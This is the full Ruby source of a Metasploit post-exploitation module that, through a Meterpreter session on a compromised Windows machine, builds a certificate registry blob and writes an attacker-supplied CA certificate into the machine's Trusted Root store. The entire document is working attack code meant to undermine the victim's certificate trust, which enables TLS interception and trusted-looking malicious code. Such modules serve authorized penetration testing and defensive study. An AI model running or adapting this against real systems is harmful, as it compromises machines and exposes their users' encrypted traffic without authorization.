Windows Manage Certificate Authority Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Certificate Authority Injection',
        'Description' => %q{
          This module allows the attacker to insert an arbitrary CA certificate
          into the victim's Trusted Root store.
        },
        'License' => BSD_LICENSE,
        'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_registry_create_key
              stdapi_registry_open_key
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('CAFILE', [ true, 'Path to the certificate you wish to install as a Trusted Root CA.', ''])
      ]
    )
  end

  def run
    certfile = datastore['CAFILE']

    # Check file path
    begin
      ::File.stat(certfile)
    rescue StandardError
      print_error('CAFILE not found')
      return
    end

    cert = ''

    # Load the file
    f = ::File.open(certfile, 'rb')
    cert = f.read(f.stat.size)
    f.close

    loadedcert = OpenSSL::X509::Certificate.new(cert)
    certmd5 = Digest::MD5.hexdigest(loadedcert.to_der).scan(/../)
    certsha1 = Digest::SHA1.hexdigest(loadedcert.to_der).scan(/../)
    cskiray = loadedcert.extensions[0].value.gsub(/:/, '').scan(/../)

    derLength = loadedcert.to_der.length.to_s(16)
    if (derLength.length < 4)
      derLength = "0#{derLength}"
    end

    derRay = derLength.scan(/../)
    hexDerLength = [ derRay[1], derRay[0] ]

    certder = loadedcert.to_der.each_byte.collect { |val| '%02X' % val }

    bblob = [ '04', '00', '00', '00', '01', '00', '00', '00', '10', '00', '00', '00' ]
    bblob += certmd5
    bblob += [ '03', '00', '00', '00', '01', '00', '00', '00', '14', '00', '00', '00' ]
    bblob += certsha1
    bblob += [ '14', '00', '00', '00', '01', '00', '00', '00', '14', '00', '00', '00' ]
    bblob += cskiray
    bblob += [ '20', '00', '00', '00', '01', '00', '00', '00' ]
    bblob += hexDerLength
    bblob += [ '00', '00' ]
    bblob += certder

    blob = bblob.map(&:hex).pack('C*')

    cleancertsha1 = certsha1.to_s.gsub(/[\s\[\\"\]]/, '').gsub(/,/, '').upcase
    catree = 'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates'
    entire_key = "#{catree}\\#{cleancertsha1}"
    root_key, base_key = client.sys.registry.splitkey(entire_key)

    # Perform the registry operations

    # Ensure the cert doesn't already exist
    begin
      open_key = nil
      open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + 0x0000)
      values = open_key.enum_value
      if !values.empty?
        print_error('Key already exists!')
        return
      end
    rescue StandardError
      open_key = nil
      open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + 0x0000)
      print_good("Successfully created key: #{entire_key}")

      open_key.set_value('Blob', REG_BINARY, blob)
      print_good('CA inserted!')
    end
  end
end